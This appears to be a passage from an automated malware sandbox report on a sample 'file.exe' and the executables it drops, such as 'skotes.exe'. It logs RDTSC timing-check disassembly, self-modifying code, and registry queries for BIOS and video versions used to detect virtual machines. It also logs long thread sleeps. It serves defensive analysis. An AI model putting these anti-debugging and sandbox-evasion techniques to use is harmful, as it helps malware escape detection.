Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80629 second address: 4A806CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA67C81A86Ch 0x00000009 and eax, 737F5338h 0x0000000f jmp 00007FA67C81A86Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a jmp 00007FA67C81A875h 0x0000001f push FFFFFFFEh 0x00000021 pushad 0x00000022 pushad 0x00000023 push esi 0x00000024 pop edi 0x00000025 jmp 00007FA67C81A876h 0x0000002a popad 0x0000002b pushfd 0x0000002c jmp 00007FA67C81A872h 0x00000031 or ax, 4F28h 0x00000036 jmp 00007FA67C81A86Bh 0x0000003b popfd 0x0000003c popad 0x0000003d push 618FCA61h 0x00000042 jmp 00007FA67C81A86Fh 0x00000047 xor dword ptr [esp], 17760A79h 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 mov esi, edi 0x00000053 mov si, bx 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A806CB second address: 4A807BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FA67D080299h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FA67D08029Eh 0x00000015 and cx, 9718h 0x0000001a jmp 00007FA67D08029Bh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007FA67D0802A8h 0x00000026 jmp 00007FA67D0802A5h 0x0000002b popfd 0x0000002c popad 0x0000002d push eax 0x0000002e jmp 00007FA67D0802A1h 0x00000033 mov eax, dword ptr [esp+04h] 0x00000037 pushad 0x00000038 mov edi, 74A899A2h 0x0000003d pushfd 0x0000003e jmp 00007FA67D0802A3h 0x00000043 jmp 00007FA67D0802A3h 0x00000048 popfd 0x00000049 popad 0x0000004a mov eax, dword ptr [eax] 0x0000004c pushad 0x0000004d mov di, 3E5Ah 0x00000051 mov cx, dx 0x00000054 popad 0x00000055 mov dword ptr [esp+04h], eax 0x00000059 jmp 00007FA67D08029Ch 0x0000005e pop eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007FA67D0802A7h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A807BB second address: 4A8089E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA67C81A86Fh 0x00000009 or esi, 5A80660Eh 0x0000000f jmp 00007FA67C81A879h 0x00000014 popfd 0x00000015 push ecx 0x00000016 pop edx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov eax, dword ptr fs:[00000000h] 0x00000020 jmp 00007FA67C81A86Ah 0x00000025 nop 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FA67C81A86Eh 0x0000002d jmp 00007FA67C81A875h 0x00000032 popfd 0x00000033 call 00007FA67C81A870h 0x00000038 pushfd 0x00000039 jmp 00007FA67C81A872h 0x0000003e add cx, 4948h 0x00000043 jmp 00007FA67C81A86Bh 0x00000048 popfd 0x00000049 pop eax 0x0000004a popad 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f mov esi, edx 0x00000051 pushfd 0x00000052 jmp 00007FA67C81A877h 0x00000057 xor si, 643Eh 0x0000005c jmp 00007FA67C81A879h 0x00000061 popfd 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8089E second address: 4A808F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA67D0802A7h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FA67D0802A9h 0x0000000f and ecx, 30DA6FD6h 0x00000015 jmp 00007FA67D0802A1h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e nop 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push ebx 0x00000023 pop ecx 0x00000024 mov bx, 586Ah 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A808F9 second address: 4A8091B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, cl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 1Ch 0x0000000b pushad 0x0000000c push edx 0x0000000d mov di, si 0x00000010 pop esi 0x00000011 mov ecx, ebx 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ebx, 012E9222h 0x0000001d mov dx, AE6Eh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8091B second address: 4A8095E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007FA67D08029Eh 0x0000000b xor ecx, 48B782B8h 0x00000011 jmp 00007FA67D08029Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esp], ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA67D0802A5h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8095E second address: 4A80983 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA67C81A86Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80983 second address: 4A809E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA67D0802A7h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov esi, 19BF0931h 0x00000012 pushfd 0x00000013 jmp 00007FA67D08029Eh 0x00000018 sbb cx, D108h 0x0000001d jmp 00007FA67D08029Bh 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, esi 0x00000025 jmp 00007FA67D0802A6h 0x0000002a xchg eax, edi 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A809E6 second address: 4A80A03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80A03 second address: 4A80A1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80A1F second address: 4A80A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80A23 second address: 4A80A27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80A27 second address: 4A80A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80A2D second address: 4A80A4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xchg eax, edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA67D0802A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80A4C second address: 4A80AC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FBB370h] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FA67C81A874h 0x00000015 and ah, FFFFFFE8h 0x00000018 jmp 00007FA67C81A86Bh 0x0000001d popfd 0x0000001e jmp 00007FA67C81A878h 0x00000023 popad 0x00000024 xor dword ptr [ebp-08h], eax 0x00000027 jmp 00007FA67C81A870h 0x0000002c xor eax, ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FA67C81A86Ch 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80AC1 second address: 4A80AC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80AC7 second address: 4A80ACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80ACB second address: 4A80ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80ADA second address: 4A80ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80ADE second address: 4A80AE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80AE4 second address: 4A80B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA67C81A879h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80B01 second address: 4A80B6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007FA67D08029Dh 0x00000010 lea eax, dword ptr [ebp-10h] 0x00000013 jmp 00007FA67D08029Eh 0x00000018 mov dword ptr fs:[00000000h], eax 0x0000001e pushad 0x0000001f jmp 00007FA67D08029Eh 0x00000024 pushfd 0x00000025 jmp 00007FA67D0802A2h 0x0000002a sbb esi, 174743F8h 0x00000030 jmp 00007FA67D08029Bh 0x00000035 popfd 0x00000036 popad 0x00000037 mov esi, dword ptr [ebp+08h] 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80B6D second address: 4A80B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80B72 second address: 4A80BF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA67D0802A3h 0x00000009 sbb cx, 046Eh 0x0000000e jmp 00007FA67D0802A9h 0x00000013 popfd 0x00000014 movzx esi, di 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov eax, dword ptr [esi+10h] 0x0000001d jmp 00007FA67D0802A3h 0x00000022 test eax, eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FA67D08029Bh 0x0000002d sbb ch, 0000002Eh 0x00000030 jmp 00007FA67D0802A9h 0x00000035 popfd 0x00000036 movzx ecx, dx 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80BF6 second address: 4A80C0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A86Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FA6EEC59986h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov edx, ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80C0F second address: 4A80C41 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA67D0802A8h 0x00000008 adc ax, 7708h 0x0000000d jmp 00007FA67D08029Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80C41 second address: 4A80C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80145 second address: 4A8014A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: BAF2AB second address: BAEBBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jg 00007FA67C81A866h 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 stc 0x00000014 push dword ptr [ebp+122D01FDh] 0x0000001a or dword ptr [ebp+122D222Ch], eax 0x00000020 call dword ptr [ebp+122D36FCh] 0x00000026 pushad 0x00000027 add dword ptr [ebp+122D2181h], esi 0x0000002d xor eax, eax 0x0000002f jmp 00007FA67C81A86Fh 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 mov dword ptr [ebp+122D2181h], eax 0x0000003e mov dword ptr [ebp+122D3AC0h], eax 0x00000044 jno 00007FA67C81A873h 0x0000004a sub dword ptr [ebp+122D255Fh], ecx 0x00000050 mov esi, 0000003Ch 0x00000055 stc 0x00000056 mov dword ptr [ebp+122D255Fh], edi 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 mov dword ptr [ebp+122D2181h], ecx 0x00000066 lodsw 0x00000068 pushad 0x00000069 sub ax, BFBAh 0x0000006e sbb edx, 54EC89E5h 0x00000074 popad 0x00000075 add eax, dword ptr [esp+24h] 0x00000079 jmp 00007FA67C81A86Ah 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 jnc 00007FA67C81A87Eh 0x00000088 push eax 0x00000089 pushad 0x0000008a push eax 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: BAF2AB second address: BAEBBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jg 00007FA67D080296h 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 stc 0x00000014 push dword ptr [ebp+122D01FDh] 0x0000001a or dword ptr [ebp+122D222Ch], eax 0x00000020 call dword ptr [ebp+122D36FCh] 0x00000026 pushad 0x00000027 add dword ptr [ebp+122D2181h], esi 0x0000002d xor eax, eax 0x0000002f jmp 00007FA67D08029Fh 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 mov dword ptr [ebp+122D2181h], eax 0x0000003e mov dword ptr [ebp+122D3AC0h], eax 0x00000044 jno 00007FA67D0802A3h 0x0000004a sub dword ptr [ebp+122D255Fh], ecx 0x00000050 mov esi, 0000003Ch 0x00000055 stc 0x00000056 mov dword ptr [ebp+122D255Fh], edi 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 mov dword ptr [ebp+122D2181h], ecx 0x00000066 lodsw 0x00000068 pushad 0x00000069 sub ax, BFBAh 0x0000006e sbb edx, 54EC89E5h 0x00000074 popad 0x00000075 add eax, dword ptr [esp+24h] 0x00000079 jmp 00007FA67D08029Ah 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 jnc 00007FA67D0802AEh 0x00000088 push eax 0x00000089 pushad 0x0000008a push eax 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: D2175E second address: D2176A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FA67C81A866h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6BEB48 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6BEC0F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 85D3EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BAEB48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BAEC0F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D4D3EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Special instruction interceptor: First address: 13C4BF0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Special instruction interceptor: First address: 13C20DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Special instruction interceptor: First address: 155B9CA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Special instruction interceptor: First address: 156BB49 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Special instruction interceptor: First address: 15E450F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Special instruction interceptor: First address: 86C922 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Special instruction interceptor: First address: 86A1F6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Special instruction interceptor: First address: A3155A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Special instruction interceptor: First address: AA2459 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Special instruction interceptor: First address: 117FA12 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Special instruction interceptor: First address: 132F96D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Special instruction interceptor: First address: 117F9EC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Special instruction interceptor: First address: 13B77C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Special instruction interceptor: First address: F3DA58 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Special instruction interceptor: First address: 10D04EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Special instruction interceptor: First address: 10FBF5D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Special instruction interceptor: First address: 1168657 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Special instruction interceptor: First address: F40591 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Special instruction interceptor: First address: F40904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Special instruction interceptor: First address: 626DA58 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Special instruction interceptor: First address: 64004EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Special instruction interceptor: First address: 642BF5D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Special instruction interceptor: First address: 6498657 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Special instruction interceptor: First address: 634DA58 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Memory allocated: 4E10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Memory allocated: 5130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Memory allocated: 7130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Memory allocated: 4740000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Memory allocated: 49F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Memory allocated: 69F0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04AE05B4 rdtsc

0_2_04AE05B4

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1723	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1680	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window / User API: threadDelayed 706	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window / User API: threadDelayed 850	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window / User API: threadDelayed 913	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window / User API: threadDelayed 1330	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window / User API: threadDelayed 878	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window / User API: threadDelayed 853	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Window / User API: threadDelayed 719

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7700	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7700	Thread sleep time: -88044s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7704	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7704	Thread sleep time: -118059s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7684	Thread sleep count: 1578 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7684	Thread sleep time: -3157578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7676	Thread sleep count: 1723 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7676	Thread sleep time: -3447723s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7660	Thread sleep count: 285 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7660	Thread sleep time: -8550000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7692	Thread sleep count: 1680 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7692	Thread sleep time: -3361680s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7780	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe TID: 7892	Thread sleep count: 706 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe TID: 7892	Thread sleep time: -1412706s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe TID: 7900	Thread sleep count: 850 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe TID: 7900	Thread sleep time: -1700850s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe TID: 7896	Thread sleep count: 913 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe TID: 7896	Thread sleep time: -1826913s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe TID: 7884	Thread sleep count: 1330 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe TID: 7884	Thread sleep time: -2661330s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe TID: 7888	Thread sleep count: 878 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe TID: 7888	Thread sleep time: -1756878s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe TID: 7912	Thread sleep count: 853 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe TID: 7912	Thread sleep time: -1706853s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 8144	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 8124	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 6312	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 6456	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 8120	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 8116	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 8132	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 5744	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 3688	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 5052	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 344	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe TID: 3604	Thread sleep count: 100 > 30
